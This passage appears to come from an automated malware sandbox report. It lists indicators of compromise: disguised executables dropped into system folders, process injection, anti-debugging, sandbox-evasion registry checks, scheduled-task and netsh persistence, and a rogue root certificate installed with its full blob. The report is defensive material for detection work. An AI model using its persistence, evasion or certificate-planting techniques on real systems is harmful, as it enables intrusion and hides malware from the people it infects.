File opened for modification	C:\Windows\SysWOW64\Gwogw.exe	svchot.exe
File opened for modification	C:\Windows\system32\MRT.exe	Update.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\SubDir\Client.exe	plswork.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
4040	tasklist.exe
11752	Process not Found
1860	tasklist.exe
2512	tasklist.exe
5892	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2128	rhsgn_protected.exe
392	document.exe

Suspicious use of SetThreadContext 15 IoCs

description	pid	Process	procid_target
PID 740 set thread context of 2328	740	Possibly.pif	110
PID 3716 set thread context of 424	3716	DecryptJohn.exe	126
PID 1400 set thread context of 3756	1400	zzzz1.exe	174
PID 4272 set thread context of 4120	4272	GREENpackage.exe	207
PID 1844 set thread context of 3928	1844	winupsecvmgr.exe	234
PID 1844 set thread context of 4412	1844	winupsecvmgr.exe	236
PID 2000 set thread context of 4820	2000	Armanivenntii_crypted_EASY.exe	317
PID 1484 set thread context of 2756	1484	DRIVEapplet.exe	337
PID 432 set thread context of 1408	432	Update.exe	391
PID 2080 set thread context of 4532	2080	npldfzxzkixc.exe	431
PID 2080 set thread context of 3172	2080	npldfzxzkixc.exe	434
PID 2080 set thread context of 732	2080	npldfzxzkixc.exe	437
PID 2520 set thread context of 5548	2520	18ijuw13.exe	515
PID 3712 set thread context of 5260	3712	j4vzzuai.exe	526
PID 5620 set thread context of 5652	5620	5_6253708004881862888.exe	536

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0004000000024f4a-1431.dat	upx
behavioral2/memory/2032-1433-0x00007FF63F6B0000-0x00007FF63F71C000-memory.dmp	upx
behavioral2/memory/4728-1485-0x00007FF63F6B0000-0x00007FF63F71C000-memory.dmp	upx
behavioral2/memory/2032-1488-0x00007FF63F6B0000-0x00007FF63F71C000-memory.dmp	upx
behavioral2/files/0x000300000002a80c-1906.dat	upx
behavioral2/files/0x000700000002a7f9-2210.dat	upx

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe	Msblockreview.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe	Msblockreview.exe
File created	C:\Program Files\Windows Sidebar\5940a34987c991	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft.NET\RedistList\5b884080fd4f94	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Defender\es-ES\5940a34987c991	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\55b276f4edf653	Msblockreview.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\a9d90a875dcb30	Msblockreview.exe
File created	C:\Program Files\Windows Sidebar\dllhost.exe	Msblockreview.exe
File created	C:\Program Files\Google\Chrome\AsyncClient.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe	Msblockreview.exe
File opened for modification	C:\Program Files (x86)\Common Files\Registry.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Common Files\ee2ad38f3d4382	Msblockreview.exe
File created	C:\Program Files\Google\Chrome\81a0c9708c3a89	Msblockreview.exe
File created	C:\Program Files (x86)\Common Files\Registry.exe	Msblockreview.exe

Drops file in Windows directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Windows\HardlyAircraft	splwow64_1.exe
File opened for modification	C:\Windows\ViewpictureKingdom	splwow64_1.exe
File opened for modification	C:\Windows\CameroonBuses	ConsiderableWinners.exe
File opened for modification	C:\Windows\ConsolidationDistinct	ConsiderableWinners.exe
File opened for modification	C:\Windows\BackedIma	ConsiderableWinners.exe
File created	C:\Windows\OCR\en-us\fontdrvhost.exe	Msblockreview.exe
File created	C:\Windows\ModemLogs\d556fe075c1122	Msblockreview.exe
File created	C:\Windows\sysvplervcs.exe	r.exe
File opened for modification	C:\Windows\BrandonBlind	splwow64_1.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	newtpp.exe
File opened for modification	C:\Windows\PossessDescriptions	ConsiderableWinners.exe
File created	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\ModemLogs\2667518541.exe	Msblockreview.exe
File opened for modification	C:\Windows\sysvplervcs.exe	r.exe
File opened for modification	C:\Windows\FlickrRealm	ConsiderableWinners.exe
File created	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\OCR\sysklnorbcv.exe	Msblockreview.exe
File created	C:\Windows\OCR\en-us\2667518541.exe	Msblockreview.exe
File created	C:\Windows\Tasks\Test Task17.job	thkdh.exe
File opened for modification	C:\Windows\IpaqArthur	splwow64_1.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\sysnldcvmr.exe	newtpp.exe

Launches sc.exe 29 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4520	sc.exe
1196	sc.exe
4432	sc.exe
4180	sc.exe
1476	sc.exe
2680	sc.exe
2680	sc.exe
4700	sc.exe
1812	sc.exe
2880	sc.exe
1804	sc.exe
3380	sc.exe
924	sc.exe
4532	sc.exe
568	sc.exe
2284	sc.exe
4836	sc.exe
1156	sc.exe
1076	sc.exe
3352	sc.exe
2764	sc.exe
5064	sc.exe
2932	sc.exe
2904	sc.exe
3428	sc.exe
2340	sc.exe
3672	sc.exe
3352	sc.exe
2216	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x001b00000002ac97-2317.dat	pyinstaller

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x001900000002ad47-2929.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 10 IoCs

pid	pid_target	Process	procid_target
836	380	WerFault.exe	111
4520	1068	WerFault.exe	121
3288	4272	WerFault.exe	143
3476	4252	WerFault.exe	131
2936	2756	WerFault.exe	337
2892	2756	WerFault.exe	337
5616	2520	WerFault.exe	500
5384	3712	WerFault.exe	522
1288	5204	WerFault.exe	608
9376	8868	WerFault.exe	980

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GREENpackage.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prototype.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	478229728.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Statement-415322024.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipscan221.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	thkdh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	me.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	soft.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	j4vzzuai.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	205518708.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Meeting.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	connector1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	566219085.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2667518541.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 10 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
12108	Process not Found
11196	Process not Found
12764	Process not Found
16212	Process not Found
6112	PING.EXE
6760	PING.EXE
8324	PING.EXE
8460	PING.EXE
1468	cmd.exe
11800	Process not Found

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	winrar-info.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	winrar-info.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TPB-1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TPB-1.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
780	timeout.exe
2040	timeout.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	winrar-info.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	winrar-info.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 30 IoCs

evasion

pid	Process
1792	taskkill.exe
4836	taskkill.exe
3596	taskkill.exe
4220	taskkill.exe
2496	taskkill.exe
14192	Process not Found
16024	Process not Found
4692	taskkill.exe
4472	taskkill.exe
5292	taskkill.exe
956	taskkill.exe
14980	Process not Found
15460	Process not Found
4216	taskkill.exe
1968	taskkill.exe
10744	taskkill.exe
13976	Process not Found
16796	Process not Found
6056	taskkill.exe
13380	Process not Found
1696	taskkill.exe
14596	Process not Found
18400	Process not Found
3300	taskkill.exe
2296	taskkill.exe
1676	taskkill.exe
656	taskkill.exe
5000	taskkill.exe
3372	taskkill.exe
16624	Process not Found

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings	ARA.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	14082024.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	14082024.exe

Runs net.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
16212	Process not Found
6112	PING.EXE
6760	PING.EXE
8324	PING.EXE
8460	PING.EXE
11196	Process not Found
12764	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1908	schtasks.exe
1564	schtasks.exe
6188	schtasks.exe
1372	schtasks.exe
2844	schtasks.exe
4424	schtasks.exe
1864	schtasks.exe
11884	Process not Found
2948	schtasks.exe
3964	schtasks.exe
2348	schtasks.exe
1168	schtasks.exe
1780	schtasks.exe
2020	schtasks.exe
596	schtasks.exe
5140	schtasks.exe
3324	schtasks.exe
1932	schtasks.exe
16428	Process not Found
1828	schtasks.exe
2148	schtasks.exe
3312	schtasks.exe
2216	schtasks.exe
3896	schtasks.exe
1260	schtasks.exe
1864	schtasks.exe
3468	schtasks.exe
11340	schtasks.exe
1268	schtasks.exe
328	schtasks.exe
5036	schtasks.exe
3356	schtasks.exe
3280	schtasks.exe
5564	schtasks.exe
5860	schtasks.exe
1504	schtasks.exe
4256	schtasks.exe
2284	schtasks.exe
3188	schtasks.exe
4636	schtasks.exe
1988	schtasks.exe
4256	schtasks.exe
4776	schtasks.exe
1844	schtasks.exe
4800	schtasks.exe
15296	Process not Found
3560	schtasks.exe
1504	schtasks.exe
1432	schtasks.exe
760	schtasks.exe
1520	schtasks.exe
16908	Process not Found
4576	schtasks.exe
8	schtasks.exe
3560	schtasks.exe
416	schtasks.exe
3432	schtasks.exe
1780	schtasks.exe
3188	schtasks.exe
3280	schtasks.exe
4132	schtasks.exe
1352	schtasks.exe
1008	schtasks.exe
6668	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
5024	chrome.exe
5024	chrome.exe
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
3080	server.exe
3080	server.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
